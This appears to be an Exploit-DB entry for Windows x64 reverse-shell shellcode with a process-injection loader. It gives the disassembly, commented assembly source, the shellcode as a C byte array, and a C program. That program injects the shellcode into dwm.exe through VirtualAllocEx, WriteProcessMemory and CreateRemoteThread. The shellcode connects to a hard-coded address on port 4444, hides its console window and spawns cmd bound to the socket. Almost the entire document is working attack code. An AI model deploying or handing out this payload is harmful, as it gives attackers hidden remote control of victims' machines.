Windows/x64 - Reverse (192.168.232.129:4444/TCP) Shell + Injection Shellcode (694 bytes)

EDB-ID:

40781

CVE:

N/A




Date:

2016-11-18


/*
	# Title : Windows x64 Reverse Shell TCP shellcode
	# size : 694 bytes
	# Author: Roziul Hasan Khan Shifat
	# Date : 10-11-2016
	# Tested on : Windows 7 x64 Professional
	# Email : shifath12@gmail.com
*/


/*





Disassembly of section .text:

0000000000000000 <s>:
   0:	48 31 d2             	xor    %rdx,%rdx
   3:	65 48 8b 42 60       	mov    %gs:0x60(%rdx),%rax
   8:	48 8b 70 18          	mov    0x18(%rax),%rsi
   c:	48 8b 76 10          	mov    0x10(%rsi),%rsi
  10:	48 ad                	lods   %ds:(%rsi),%rax
  12:	48 8b 30             	mov    (%rax),%rsi
  15:	48 8b 7e 30          	mov    0x30(%rsi),%rdi
  19:	b2 88                	mov    $0x88,%dl
  1b:	8b 5f 3c             	mov    0x3c(%rdi),%ebx
  1e:	48 01 fb             	add    %rdi,%rbx
  21:	8b 1c 13             	mov    (%rbx,%rdx,1),%ebx
  24:	48 01 fb             	add    %rdi,%rbx
  27:	44 8b 73 1c          	mov    0x1c(%rbx),%r14d
  2b:	49 01 fe             	add    %rdi,%r14
  2e:	66 ba fc 0c          	mov    $0xcfc,%dx
  32:	41 8b 1c 16          	mov    (%r14,%rdx,1),%ebx
  36:	48 01 fb             	add    %rdi,%rbx
  39:	48 31 d2             	xor    %rdx,%rdx
  3c:	52                   	push   %rdx
  3d:	52                   	push   %rdx
  3e:	c7 04 24 77 73 32 5f 	movl   $0x5f327377,(%rsp)
  45:	c7 44 24 04 33 32 2e 	movl   $0x642e3233,0x4(%rsp)
  4c:	64 
  4d:	66 c7 44 24 08 6c 6c 	movw   $0x6c6c,0x8(%rsp)
  54:	48 8d 0c 24          	lea    (%rsp),%rcx
  58:	48 83 ec 58          	sub    $0x58,%rsp
  5c:	ff d3                	callq  *%rbx
  5e:	48 83 c4 68          	add    $0x68,%rsp
  62:	48 89 c6             	mov    %rax,%rsi
  65:	48 31 db             	xor    %rbx,%rbx
  68:	48 31 d2             	xor    %rdx,%rdx
  6b:	b2 88                	mov    $0x88,%dl
  6d:	8b 5e 3c             	mov    0x3c(%rsi),%ebx
  70:	48 01 f3             	add    %rsi,%rbx
  73:	8b 1c 13             	mov    (%rbx,%rdx,1),%ebx
  76:	48 01 f3             	add    %rsi,%rbx
  79:	44 8b 7b 1c          	mov    0x1c(%rbx),%r15d
  7d:	49 01 f7             	add    %rsi,%r15
  80:	48 31 d2             	xor    %rdx,%rdx
  83:	66 ba c8 01          	mov    $0x1c8,%dx
  87:	41 8b 1c 17          	mov    (%r15,%rdx,1),%ebx
  8b:	48 01 f3             	add    %rsi,%rbx
  8e:	66 ba 98 01          	mov    $0x198,%dx
  92:	48 29 d4             	sub    %rdx,%rsp
  95:	48 8d 14 24          	lea    (%rsp),%rdx
  99:	48 31 c9             	xor    %rcx,%rcx
  9c:	66 b9 02 02          	mov    $0x202,%cx
  a0:	48 83 ec 58          	sub    $0x58,%rsp
  a4:	ff d3                	callq  *%rbx
  a6:	48 31 d2             	xor    %rdx,%rdx
  a9:	48 83 ec 58          	sub    $0x58,%rsp
  ad:	48 89 54 24 20       	mov    %rdx,0x20(%rsp)
  b2:	48 89 54 24 28       	mov    %rdx,0x28(%rsp)
  b7:	48 ff c2             	inc    %rdx
  ba:	48 89 d1             	mov    %rdx,%rcx
  bd:	48 ff c1             	inc    %rcx
  c0:	4d 31 c0             	xor    %r8,%r8
  c3:	49 83 c0 06          	add    $0x6,%r8
  c7:	4d 31 c9             	xor    %r9,%r9
  ca:	66 41 b9 88 01       	mov    $0x188,%r9w
  cf:	43 8b 1c 0f          	mov    (%r15,%r9,1),%ebx
  d3:	48 01 f3             	add    %rsi,%rbx
  d6:	4d 31 c9             	xor    %r9,%r9
  d9:	ff d3                	callq  *%rbx
  db:	49 89 c5             	mov    %rax,%r13
  de:	4d 31 c0             	xor    %r8,%r8
  e1:	41 50                	push   %r8
  e3:	41 50                	push   %r8
  e5:	c6 04 24 02          	movb   $0x2,(%rsp)
  e9:	66 c7 44 24 02 11 5c 	movw   $0x5c11,0x2(%rsp)
  f0:	c7 44 24 04 c0 a8 0a 	movl   $0x800aa8c0,0x4(%rsp)
  f7:	80 
  f8:	4c 8d 24 24          	lea    (%rsp),%r12
  fc:	48 83 ec 58          	sub    $0x58,%rsp

0000000000000100 <c>:
 100:	48 31 db             	xor    %rbx,%rbx
 103:	41 8b 5f 0c          	mov    0xc(%r15),%ebx
 107:	48 01 f3             	add    %rsi,%rbx
 10a:	4c 89 e2             	mov    %r12,%rdx
 10d:	4c 89 e9             	mov    %r13,%rcx
 110:	41 b0 10             	mov    $0x10,%r8b
 113:	ff d3                	callq  *%rbx
 115:	4d 31 c0             	xor    %r8,%r8
 118:	4c 39 c0             	cmp    %r8,%rax
 11b:	75 e3                	jne    100 <c>
 11d:	48 31 db             	xor    %rbx,%rbx
 120:	41 8b 5e 40          	mov    0x40(%r14),%ebx
 124:	48 01 fb             	add    %rdi,%rbx
 127:	ff d3                	callq  *%rbx
 129:	48 31 d2             	xor    %rdx,%rdx
 12c:	52                   	push   %rdx
 12d:	52                   	push   %rdx
 12e:	c7 04 24 75 73 65 72 	movl   $0x72657375,(%rsp)
 135:	c7 44 24 04 33 32 2e 	movl   $0x642e3233,0x4(%rsp)
 13c:	64 
 13d:	66 c7 44 24 08 6c 6c 	movw   $0x6c6c,0x8(%rsp)
 144:	48 8d 0c 24          	lea    (%rsp),%rcx
 148:	66 ba fc 0c          	mov    $0xcfc,%dx
 14c:	41 8b 1c 16          	mov    (%r14,%rdx,1),%ebx
 150:	48 01 fb             	add    %rdi,%rbx
 153:	48 83 ec 58          	sub    $0x58,%rsp
 157:	ff d3                	callq  *%rbx
 159:	48 89 c6             	mov    %rax,%rsi
 15c:	48 31 db             	xor    %rbx,%rbx
 15f:	48 31 d2             	xor    %rdx,%rdx
 162:	66 ba 4a 02          	mov    $0x24a,%dx
 166:	45 8b 24 96          	mov    (%r14,%rdx,4),%r12d
 16a:	49 01 fc             	add    %rdi,%r12
 16d:	48 31 c9             	xor    %rcx,%rcx
 170:	51                   	push   %rcx
 171:	51                   	push   %rcx
 172:	c7 04 24 46 69 6e 64 	movl   $0x646e6946,(%rsp)
 179:	c7 44 24 04 57 69 6e 	movl   $0x646e6957,0x4(%rsp)
 180:	64 
 181:	c7 44 24 08 6f 77 41 	movl   $0x4141776f,0x8(%rsp)
 188:	41 
 189:	80 74 24 0b 41       	xorb   $0x41,0xb(%rsp)
 18e:	48 8d 14 24          	lea    (%rsp),%rdx
 192:	48 89 f1             	mov    %rsi,%rcx
 195:	48 83 ec 58          	sub    $0x58,%rsp
 199:	41 ff d4             	callq  *%r12
 19c:	48 31 d2             	xor    %rdx,%rdx
 19f:	52                   	push   %rdx
 1a0:	52                   	push   %rdx
 1a1:	52                   	push   %rdx
 1a2:	c7 04 24 43 6f 6e 73 	movl   $0x736e6f43,(%rsp)
 1a9:	c7 44 24 04 6f 6c 65 	movl   $0x57656c6f,0x4(%rsp)
 1b0:	57 
 1b1:	c7 44 24 08 69 6e 64 	movl   $0x6f646e69,0x8(%rsp)
 1b8:	6f 
 1b9:	c7 44 24 0c 77 43 6c 	movl   $0x616c4377,0xc(%rsp)
 1c0:	61 
 1c1:	66 c7 44 24 10 73 73 	movw   $0x7373,0x10(%rsp)
 1c8:	48 8d 0c 24          	lea    (%rsp),%rcx
 1cc:	48 83 ec 58          	sub    $0x58,%rsp
 1d0:	ff d0                	callq  *%rax
 1d2:	49 89 c7             	mov    %rax,%r15
 1d5:	48 31 d2             	xor    %rdx,%rdx
 1d8:	48 31 c9             	xor    %rcx,%rcx
 1db:	51                   	push   %rcx
 1dc:	51                   	push   %rcx
 1dd:	c7 04 24 53 68 6f 77 	movl   $0x776f6853,(%rsp)
 1e4:	c7 44 24 04 57 69 6e 	movl   $0x646e6957,0x4(%rsp)
 1eb:	64 
 1ec:	66 c7 44 24 08 6f 77 	movw   $0x776f,0x8(%rsp)
 1f3:	48 8d 14 24          	lea    (%rsp),%rdx
 1f7:	48 89 f1             	mov    %rsi,%rcx
 1fa:	48 83 ec 58          	sub    $0x58,%rsp
 1fe:	41 ff d4             	callq  *%r12
 201:	4c 89 f9             	mov    %r15,%rcx
 204:	48 31 d2             	xor    %rdx,%rdx
 207:	48 83 ec 58          	sub    $0x58,%rsp
 20b:	ff d0                	callq  *%rax
 20d:	66 ba 90 02          	mov    $0x290,%dx
 211:	41 8b 1c 16          	mov    (%r14,%rdx,1),%ebx
 215:	48 01 fb             	add    %rdi,%rbx
 218:	48 83 ec 68          	sub    $0x68,%rsp
 21c:	48 83 ec 18          	sub    $0x18,%rsp
 220:	4c 8d 24 24          	lea    (%rsp),%r12
 224:	b2 68                	mov    $0x68,%dl
 226:	48 31 c9             	xor    %rcx,%rcx
 229:	41 89 14 24          	mov    %edx,(%r12)
 22d:	49 89 4c 24 04       	mov    %rcx,0x4(%r12)
 232:	49 89 4c 24 0c       	mov    %rcx,0xc(%r12)
 237:	49 89 4c 24 14       	mov    %rcx,0x14(%r12)
 23c:	49 89 4c 24 18       	mov    %rcx,0x18(%r12)
 241:	48 31 d2             	xor    %rdx,%rdx
 244:	b2 ff                	mov    $0xff,%dl
 246:	48 ff c2             	inc    %rdx
 249:	41 89 54 24 3c       	mov    %edx,0x3c(%r12)
 24e:	4d 89 6c 24 50       	mov    %r13,0x50(%r12)
 253:	4d 89 6c 24 58       	mov    %r13,0x58(%r12)
 258:	4d 89 6c 24 60       	mov    %r13,0x60(%r12)
 25d:	68 63 6d 64 41       	pushq  $0x41646d63
 262:	88 54 24 03          	mov    %dl,0x3(%rsp)
 266:	48 8d 14 24          	lea    (%rsp),%rdx
 26a:	48 ff c1             	inc    %rcx
 26d:	48 83 ec 58          	sub    $0x58,%rsp
 271:	48 89 4c 24 20       	mov    %rcx,0x20(%rsp)
 276:	48 31 c9             	xor    %rcx,%rcx
 279:	4d 31 c0             	xor    %r8,%r8
 27c:	4c 89 44 24 28       	mov    %r8,0x28(%rsp)
 281:	4c 89 44 24 30       	mov    %r8,0x30(%rsp)
 286:	4c 89 44 24 38       	mov    %r8,0x38(%rsp)
 28b:	4d 8d 0c 24          	lea    (%r12),%r9
 28f:	4c 89 4c 24 40       	mov    %r9,0x40(%rsp)
 294:	4d 8d 4c 24 68       	lea    0x68(%r12),%r9
 299:	4c 89 4c 24 48       	mov    %r9,0x48(%rsp)
 29e:	4d 31 c9             	xor    %r9,%r9
 2a1:	ff d3                	callq  *%rbx
 2a3:	48 31 d2             	xor    %rdx,%rdx
 2a6:	66 ba a0 04          	mov    $0x4a0,%dx
 2aa:	41 8b 1c 16          	mov    (%r14,%rdx,1),%ebx
 2ae:	48 01 fb             	add    %rdi,%rbx
 2b1:	48 31 c9             	xor    %rcx,%rcx
 2b4:	ff d3                	callq  *%rbx







*/




/*

section .text
	global s
s:

xor rdx,rdx
mov rax,[gs:rdx+0x60]
mov rsi,[rax+0x18]
mov rsi,[rsi+0x10]
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30]

;--------------------------------
mov dl,0x88
mov ebx,[rdi+0x3c]
add rbx,rdi
mov ebx,[rbx+rdx]
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY


mov r14d,[rbx+0x1c]
add r14,rdi ;kernel32.dll AddressOfFunctions


;-----------------------
;loading ws2_32.dll

mov dx,831*4
mov ebx,[r14+rdx]
add rbx,rdi ;LoadLibraryA()

xor rdx,rdx
push rdx
push rdx

mov [rsp],dword 'ws2_'
mov [rsp+4],dword '32.d'
mov [rsp+8],word 'll'


lea rcx,[rsp]

sub rsp,88

call rbx

add rsp,104

mov rsi,rax ;ws2_32.dll base address
;--------------------------------------
xor rbx,rbx
xor rdx,rdx

;finding Export table of ws2_32.dll

mov dl,0x88
mov ebx,[rsi+0x3c]
add rbx,rsi
mov ebx,[rbx+rdx]
add rbx,rsi ;IMAGE_EXPORT_DIRECTORY


mov r15d,[rbx+0x1c]
add r15,rsi ;ws2_32.dll AddressOfFunctions


;--------------------------------------

;WSAStartup(514,&WSADATA)

xor rdx,rdx
mov dx,114*4
mov ebx,[r15+rdx]
add rbx,rsi ;rbx=WSAStartup()


mov dx,408

sub rsp,rdx
lea rdx,[rsp]
xor rcx,rcx
mov cx,514

sub rsp,88 ;reserving space for API call (Important)

call rbx

;-------------------------------------------------------
;WSASocketA(2,1,6,0,0,0)

xor rdx,rdx
sub rsp,88

mov [rsp+32],rdx
mov [rsp+40],rdx


inc rdx
mov rcx,rdx
inc rcx

xor r8,r8
add r8,6

xor r9,r9

mov r9w,98*4
mov ebx,[r15+r9]
add rbx,rsi ;rbx=WSASocketA()

xor r9,r9
call rbx

mov r13,rax ;r13=SOCKET

;------------------------------------------
xor r8,r8
push r8
push r8

mov [rsp],byte 2
mov [rsp+2],word 0x5c11 ;port 4444
mov [rsp+4],dword 0x800aa8c0 ;change it
lea r12,[rsp]
sub rsp,88
;-------------------------------------------
;connect(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)
c:
xor rbx,rbx
mov ebx,[r15+12]
add rbx,rsi ;rbx=connect()



mov rdx,r12
mov rcx,r13
mov r8b,16



call rbx
xor r8,r8
cmp rax,r8
jnz c

;----------------------------------------------------------------------------------------
;Hiding Window
;----------------------------------------------------------------------------------------

;AllocConsole()
xor rbx,rbx
mov ebx,[r14+64]
add rbx,rdi ;rbx=AllocConsole()

call rbx
;------------------------------
;loading user32.dll

xor rdx,rdx
push rdx
push rdx
mov [rsp],dword 'user'
mov [rsp+4],dword '32.d'
mov [rsp+8],word 'll'
lea rcx,[rsp]

mov dx,831*4
mov ebx,[r14+rdx]
add rbx,rdi
sub rsp,88

call rbx

mov rsi,rax
;--------------------------------

xor rbx,rbx
xor rdx,rdx

;----------------------------------
;FindWindowA("ConsoleWindowClass",NULL)

mov dx,586 
mov r12d,[r14+rdx*4]
add r12,rdi ;rbx=GetProcAddress()

xor rcx,rcx
push rcx
push rcx
mov [rsp],dword 'Find'
mov [rsp+4],dword 'Wind'
mov [rsp+8],dword 'owAA'
xor byte [rsp+11],0x41

lea rdx,[rsp]
mov rcx,rsi

sub rsp,88
call r12



;-----------------------------------
xor rdx,rdx
push rdx
push rdx
push rdx

mov [rsp],dword 'Cons'
mov [rsp+4],dword 'oleW'
mov [rsp+8],dword 'indo'
mov [rsp+12],dword 'wCla'
mov [rsp+16],word 'ss'

lea rcx,[rsp]

sub rsp,88

call rax

mov r15,rax
xor rdx,rdx
;---------------------------------------
;ShowWindow(HWND,0)

xor rcx,rcx
push rcx
push rcx
mov [rsp],dword 'Show'
mov [rsp+4],dword 'Wind'
mov [rsp+8],word 'ow'

lea rdx,[rsp]
mov rcx,rsi

sub rsp,88
call r12


mov rcx,r15
xor rdx,rdx
sub rsp,88
call rax

;-----------------------------------------------

;--------------------------------------------------------------------------------------------------------------------------------
;CreateProcessA()
mov dx,164*4
mov ebx,[r14+rdx]
add rbx,rdi


;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
sub rsp,104
sub rsp,24
lea r12,[rsp]

mov dl,104

xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx

xor rdx,rdx
mov dl,255
inc rdx

mov [r12+0x3c],edx
mov [r12+0x50],r13
mov [r12+0x58],r13
mov [r12+0x60],r13

;--------------------------------------------------

push 'cmdA'
mov [rsp+3],byte dl

lea rdx,[rsp]

inc rcx
;-------------------------------------
sub rsp,88

mov [rsp+32],rcx
xor rcx,rcx

xor r8,r8

mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9

xor r9,r9

call rbx

;-------------------------------

xor rdx,rdx
mov dx,296*4
mov ebx,[r14+rdx]
add rbx,rdi

xor rcx,rcx
call rbx




*/






#include<stdio.h>
#include<windows.h>
#include<TlHelp32.h>
#include<string.h>


char shellcode[]="\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x44\x8b\x73\x1c\x49\x01\xfe\x66\xba\xfc\x0c\x41\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x52\x52\xc7\x04\x24\x77\x73\x32\x5f\xc7\x44\x24\x04\x33\x32\x2e\x64\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x48\x83\xc4\x68\x48\x89\xc6\x48\x31\xdb\x48\x31\xd2\xb2\x88\x8b\x5e\x3c\x48\x01\xf3\x8b\x1c\x13\x48\x01\xf3\x44\x8b\x7b\x1c\x49\x01\xf7\x48\x31\xd2\x66\xba\xc8\x01\x41\x8b\x1c\x17\x48\x01\xf3\x66\xba\x98\x01\x48\x29\xd4\x48\x8d\x14\x24\x48\x31\xc9\x66\xb9\x02\x02\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x48\x83\xec\x58\x48\x89\x54\x24\x20\x48\x89\x54\x24\x28\x48\xff\xc2\x48\x89\xd1\x48\xff\xc1\x4d\x31\xc0\x49\x83\xc0\x06\x4d\x31\xc9\x66\x41\xb9\x88\x01\x43\x8b\x1c\x0f\x48\x01\xf3\x4d\x31\xc9\xff\xd3\x49\x89\xc5\x4d\x31\xc0\x41\x50\x41\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x0a\x80\x4c\x8d\x24\x24\x48\x83\xec\x58\x48\x31\xdb\x41\x8b\x5f\x0c\x48\x01\xf3\x4c\x89\xe2\x4c\x89\xe9\x41\xb0\x10\xff\xd3\x4d\x31\xc0\x4c\x39\xc0\x75\xe3\x48\x31\xdb\x41\x8b\x5e\x40\x48\x01\xfb\xff\xd3\x48\x31\xd2\x52\x52\xc7\x04\x24\x75\x73\x65\x72\xc7\x44\x24\x04\x33\x32\x2e\x64\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x66\xba\xfc\x0c\x41\x8b\x1c\x16\x48\x01\xfb\x48\x83\xec\x58\xff\xd3\x48\x89\xc6\x48\x31\xdb\x48\x31\xd2\x66\xba\x4a\x02\x45\x8b\x24\x96\x49\x01\xfc\x48\x31\xc9\x51\x51\xc7\x04\x24\x46\x69\x6e\x64\xc7\x44\x24\x04\x57\x69\x6e\x64\xc7\x44\x24\x08\x6f\x77\x41\x41\x80\x74\x24\x0b\x41\x48\x8d\x14\x24\x48\x89\xf1\x48\x83\xec\x58\x41\xff\xd4\x48\x31\xd2\x52\x52\x52\xc7\x04\x24\x43\x6f\x6e\x73\xc7\x44\x24\x04\x6f\x6c\x65\x57\xc7\x44\x24\x08\x69\x6e\x64\x6f\xc7\x44\x24\x0c\x77\x43\x6c\x61\x66\xc7\x44\x24\x10\x73\x73\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x49\x89\xc7\x48\x31\xd2\x48\x31\xc9\x51\x51\xc7\x04\x24\x53\x68\x6f\x77\xc7\x44\x24\x04\x57\x69\x6e\x64\x66\xc7\x44\x24\x08\x6f\x77\x48\x8d\x14\x24\x48\x89\xf1\x48\x83\xec\x58\x41\xff\xd4\x4c\x89\xf9\x48\x31\xd2\x48\x83\xec\x58\xff\xd0\x66\xba\x90\x02\x41\x8b\x1c\x16\x48\x01\xfb\x48\x83\xec\x68\x48\x83\xec\x18\x4c\x8d\x24\x24\xb2\x68\x48\x31\xc9\x41\x89\x14\x24\x49\x89\x4c\x24\x04\x49\x89\x4c\x24\x0c\x49\x89\x4c\x24\x14\x49\x89\x4c\x24\x18\x48\x31\xd2\xb2\xff\x48\xff\xc2\x41\x89\x54\x24\x3c\x4d\x89\x6c\x24\x50\x4d\x89\x6c\x24\x58\x4d\x89\x6c\x24\x60\x68\x63\x6d\x64\x41\x88\x54\x24\x03\x48\x8d\x14\x24\x48\xff\xc1\x48\x83\xec\x58\x48\x89\x4c\x24\x20\x48\x31\xc9\x4d\x31\xc0\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\x4c\x89\x44\x24\x38\x4d\x8d\x0c\x24\x4c\x89\x4c\x24\x40\x4d\x8d\x4c\x24\x68\x4c\x89\x4c\x24\x48\x4d\x31\xc9\xff\xd3\x48\x31\xd2\x66\xba\xa0\x04\x41\x8b\x1c\x16\x48\x01\xfb\x48\x31\xc9\xff\xd3";




void inject(DWORD );
int main()
{
	char program_name[]="dwm.exe"; //Process name to inject. change it if U Want
	
	BOOL f=0;
	HANDLE snap;
	PROCESSENTRY32 pe32;
	
	snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	
	if(snap==INVALID_HANDLE_VALUE)
	{
		printf("CreateToolhelp32Snapshot() Failed."); return 0;
	}
	
	pe32.dwSize=sizeof(pe32);
	
	if(!Process32First(snap,&pe32))
	{
		printf("Process32First() Failed."); return 0;
	}
	
	
	
	do
	{
		if(0==strncmp(program_name,pe32.szExeFile,strlen(program_name)))
		{
			f=TRUE;
			break;
		}
		
	}while(Process32Next(snap,&pe32));
	
	
	if(!f)
	{
		printf("No infomation found about \"%s\" ",program_name);
	}
	else
	{
		printf("Program name:%s\nProcess id: %d",pe32.szExeFile,pe32.th32ProcessID);
		printf("\nInjecting shellcode");
		inject(pe32.th32ProcessID);
	}
	
	
	
	return 0;
	
}



void inject(DWORD pid)
{
	HANDLE phd,h;
	LPVOID shell;
	
	phd=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
	
	if(phd==INVALID_HANDLE_VALUE)
	{
		printf("\nOpenProcess() Failed."); return ;
	}
	
	shell=VirtualAllocEx(phd,0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	if(shell==NULL)
	{
		printf("\nVirtualAllocEx() Failed");  CloseHandle(phd); return ;
	}
	
	WriteProcessMemory(phd,shell,shellcode,sizeof(shellcode),0);
	printf("\nInjection successfull\n");
	printf("Running Shellcode......\n");
	
	h=CreateRemoteThread(phd,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0);
	if(h==NULL)
	{
		printf("Failed to Run Shellcode\n"); return ;
	}
	else
		printf("shellcode Execution Successfull");
}